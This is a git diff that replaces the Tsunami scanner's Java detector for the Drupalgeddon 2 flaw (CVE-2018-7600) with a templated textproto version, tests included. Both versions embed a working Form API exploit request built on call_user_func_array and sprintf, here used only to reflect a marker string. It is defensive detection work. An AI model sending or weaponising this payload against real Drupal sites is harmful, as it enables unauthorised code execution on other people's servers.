diff --git a/google/detectors/rce/cve20187600/README.md b/google/detectors/rce/cve20187600/README.md deleted file mode 100644 index d3a1d5661..000000000 --- a/google/detectors/rce/cve20187600/README.md +++ /dev/null @@ -1,13 +0,0 @@ -# Drupal RCE detector - -This detector checks for [CVE-2018-7600](https://research.checkpoint.com/2018/uncovering-drupalgeddon-2) vulnerability in Drupal platforms. The vulnerability allows user to execute malicious code through the Drupal's FORM Api without any authentication. - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/cve20187600/build.gradle b/google/detectors/rce/cve20187600/build.gradle deleted file mode 100644 index 8e7922ffe..000000000 --- a/google/detectors/rce/cve20187600/build.gradle +++ /dev/null @@ -1,39 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami CVE-2018-7600 VulnDetector plugin.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/google/detectors/rce/cve20187600/settings.gradle b/google/detectors/rce/cve20187600/settings.gradle deleted file mode 100644 index 05ba17566..000000000 --- a/google/detectors/rce/cve20187600/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'drupal_cve_20187600_detector' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600Detector.java b/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600Detector.java deleted file mode 100644 index 406add93e..000000000 --- a/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600Detector.java +++ /dev/null @@ -1,160 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve20187600; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.net.http.HttpRequest.post; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.proto.AdditionalDetail; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; - -/** - * A {@link VulnDetector} that detects highly critical RCE vulnerability on Drupal platforms - * (CVE-2018-7600). - */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "DrupalCve20187600Detector", - version = "0.1", - description = "Detects CVE-2018-7600, RCE vulnerability in Drupal.", - author = "Tsunami Team (tsunami-dev@google.com)", - bootstrapModule = DrupalCve20187600DetectorBootstrapModule.class) -public final class DrupalCve20187600Detector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - public static final String SAMPLE_STRING = "scanning-CVE-2018-7600"; - public static final String RESPONSE_STRING = "BEGIN" + SAMPLE_STRING + "END"; - private static final ByteString PAYLOAD = - ByteString.copyFromUtf8( - "form_id=user_register_form&_drupal_ajax=1&mail[0]=BEGIN%1$sEND&mail[1]=" - + SAMPLE_STRING - + "&mail[#children]=sprintf&mail[#post_render][]=call_user_func_array"); - private static final String PATH = - "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"; - - private final Clock utcClock; - private final HttpClient httpClient; - - @Inject - DrupalCve20187600Detector(@UtcClock Clock utcClock, HttpClient httpClient) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - } - - @Override - public ImmutableList getAdvisories() { - TextData details = - TextData.newBuilder() - .setText("The Drupal platform is vulnerable to CVE-2018-7600.") - .build(); - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2018_7600")) - .setSeverity(Severity.CRITICAL) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2018-7600")) - .setTitle("Drupalgeddon 2 Detected") - .setDescription( - "This version of Drupal is vulnerable to CVE-2018-7600. Drupal versions before" - + " 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 are" - + " vulnerable to this vulnerability. Drupal has insufficient input sanitation" - + " on Form API AJAX requests. This enables an attacker to inject a malicious" - + " payload into the internal form structure which would then be executed" - + " without any authentication") - .setRecommendation("Upgrade to Drupal 8.3.9 or Drupal 8.5.1.") - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details)) - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("Starting Drupalgeddon 2 RCE detection."); - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - /** Checks if a {@link NetworkService} has a Drupalgeddon 2 vulnerability. */ - private boolean isServiceVulnerable(NetworkService networkService) { - String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + PATH; - logger.atInfo().log("Trying to execute code at '%s'", targetUri); - - try { - // This is a blocking call. - HttpResponse response = - httpClient.send( - post(targetUri) - .setHeaders( - HttpHeaders.builder() - .addHeader("Content-Type", "application/x-www-form-urlencoded") - .build()) - .setRequestBody(PAYLOAD) - .build()); - - return response.status().isSuccess() - && response.bodyString().map(body -> body.contains(RESPONSE_STRING)).orElse(false); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); - return false; - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - TextData details = - TextData.newBuilder() - .setText("The Drupal platform is vulnerable to CVE-2018-7600.") - .build(); - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorBootstrapModule.java b/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorBootstrapModule.java deleted file mode 100644 index 1fffd4c43..000000000 --- a/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorBootstrapModule.java +++ /dev/null @@ -1,28 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve20187600; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A {@link PluginBootstrapModule} for {@link DrupalCve20187600DetectorBootstrapModule}. */ -public final class DrupalCve20187600DetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin( - com.google.tsunami.plugins.detectors.rce.cve20187600.DrupalCve20187600Detector.class); - } -} diff --git a/google/detectors/rce/cve20187600/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorTest.java b/google/detectors/rce/cve20187600/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorTest.java deleted file mode 100644 index 31f14ab91..000000000 --- a/google/detectors/rce/cve20187600/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorTest.java +++ /dev/null @@ -1,197 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve20187600; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.AdditionalDetail; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkEndpoint; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link DrupalCve20187600Detector}. */ -@RunWith(JUnit4.class) -public final class DrupalCve20187600DetectorTest { - - private static final String PATH = - "user/register?element_parents=account/mail/%23value&" - + "ajax_form=1&_wrapper_format=drupal_ajax"; - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2021-01-01T00:00:00.00Z")); - - private MockWebServer mockWebServer; - - @Inject private DrupalCve20187600Detector detector; - - @Before - public void setUp() { - mockWebServer = new MockWebServer(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - new DrupalCve20187600DetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - } - - @Test - public void detect_whenDrupalCve20187600DetectorTriggered_returnsVulnerability() - throws IOException { - ImmutableList httpServices = testSetupWithVulnerableEndpoint(); - - DetectionReportList detectionReports = - detector.detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices); - - verifyVulnerabilityReport(detectionReports, httpServices.get(0)); - } - - @Test - public void detect_whenDrupalCve20187600DetectorNotTriggered_returnsEmptyDetectionReport() - throws IOException { - mockWebServer.setDispatcher(new SafeEndpointDispatcher()); - mockWebServer.start(); - ImmutableList httpServices = - ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) - .getDetectionReportsList()) - .isEmpty(); - } - - private ImmutableList testSetupWithVulnerableEndpoint() throws IOException { - mockWebServer.setDispatcher(new VulnerableEndpointDispatcher(PATH)); - mockWebServer.start(); - return ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - } - - private void verifyVulnerabilityReport( - DetectionReportList detectionReports, NetworkService service) { - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(buildTargetInfo(forHostname(mockWebServer.getHostName()))) - .setNetworkService(service) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2018_7600")) - .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2018-7600")) - .setSeverity(Severity.CRITICAL) - .setTitle("Drupalgeddon 2 Detected") - .setDescription( - "This version of Drupal is vulnerable to CVE-2018-7600. Drupal versions" - + " before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x" - + " before 8.5.1 are vulnerable to this vulnerability. Drupal has" - + " insufficient input sanitation on Form API AJAX requests. This" - + " enables an attacker to inject a malicious payload into the" - + " internal form structure which would then be executed without" - + " any authentication") - .setRecommendation("Upgrade to Drupal 8.3.9 or Drupal 8.5.1.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - "The Drupal platform is vulnerable to " - + "CVE-2018-7600.")))) - .build()); - } - - static final class SafeEndpointDispatcher extends Dispatcher { - - @Override - public MockResponse dispatch(RecordedRequest recordedRequest) { - return new MockResponse().setResponseCode(HttpStatus.OK.code()); - } - } - - private static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { - return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); - } - - static final class VulnerableEndpointDispatcher extends Dispatcher { - - private final String vulnerablePath; - - VulnerableEndpointDispatcher(String vulnerablePath) { - this.vulnerablePath = vulnerablePath; - } - - @Override - public MockResponse dispatch(RecordedRequest recordedRequest) { - if (recordedRequest.getPath().equals("/" + vulnerablePath)) { - return new MockResponse() - .setResponseCode(HttpStatus.OK.code()) - .setBody(DrupalCve20187600Detector.RESPONSE_STRING); - } - - return new MockResponse().setResponseCode(HttpStatus.OK.code()); - } - } -} diff --git a/templated/templateddetector/plugins/cve/2018/Drupal_CVE_2018_7600.textproto b/templated/templateddetector/plugins/cve/2018/Drupal_CVE_2018_7600.textproto new file mode 100644 index 000000000..c185ffe4a --- /dev/null +++ b/templated/templateddetector/plugins/cve/2018/Drupal_CVE_2018_7600.textproto @@ -0,0 +1,100 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Drupal_CVE_2018_7600" + author: + "Robert Dick (robert@doyensec.com) for the Templated version," + " Tsunami Team (tsunami-dev@google.com) for the original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE_2018_7600" + } + severity: CRITICAL + title: "Drupalgeddon 2 (CVE-2018-7600)" + description: + "This version of Drupal is vulnerable to CVE-2018-7600. Drupal versions before" + " 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 are" + " vulnerable to this vulnerability. Drupal has insufficient input sanitation" + " on Form API AJAX requests. This enables an attacker to inject a malicious" + " payload into the internal form structure which would then be executed" + " without any authentication" + recommendation: + "Upgrade to at least Drupal 8.3.9 or Drupal 8.5.1." + related_id: { + publisher: "CVE" + value: "CVE-2018-7600" + } +} + + +########### +# ACTIONS # +########### + +# very weak fingerprint check, not in the original plugin + +actions: { + name: "fingerprint_drupal" + http_request: { + method: GET + uri: "/" + response: { + http_status: 200 + expect_any: { + conditions: [ + { body: {} contains: "Drupal" }, + { body: {} contains: "drupal" } + ] + } + } + } +} + +# we have a very simple reflected payload test. nothing changed from the original. +# Note that this appears to work only for Drupal 8. + +actions: { + name: "send_payload" + http_request: { + method: POST + uri: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + headers: [ + { name: "User-Agent" value: "TSUNAMI_SCANNER"}, + { name: "Content-Type" value: "application/x-www-form-urlencoded"} + ] + data: + "form_id=user_register_form&_drupal_ajax=1&mail[0]=BEGIN%1$sEND&mail[1]=" + "scanning-CVE-2018-7600" + "&mail[#children]=sprintf&mail[#post_render][]=call_user_func_array" + response: { + expect_any: { + conditions: [ + { body: {} contains: "BEGINscanning-CVE-2018-7600END" } + ] + } + } + } +} + +############# +# WORKFLOWS # +############# + + +workflows: { + actions: [ + "fingerprint_drupal", + "send_payload" + ] +} + diff --git a/templated/templateddetector/plugins/cve/2018/Drupal_CVE_2018_7600_test.textproto b/templated/templateddetector/plugins/cve/2018/Drupal_CVE_2018_7600_test.textproto new file mode 100644 index 000000000..4b07f3eb3 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2018/Drupal_CVE_2018_7600_test.textproto @@ -0,0 +1,63 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Drupal_CVE_2018_7600" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: + '... ...' + }, + { + uri: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + status: 200 + body_content: '... BEGINscanning-CVE-2018-7600END ...' + } + ] + } +} + +tests: { + name: "whenNotVulnerable_returnsFalse" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: + '... ...' + }, + { + uri: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + status: 200 + body_content: '... error ...' + } + ] + } +} + +tests: { + name: "whenRandomServer_returnsFalse" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +}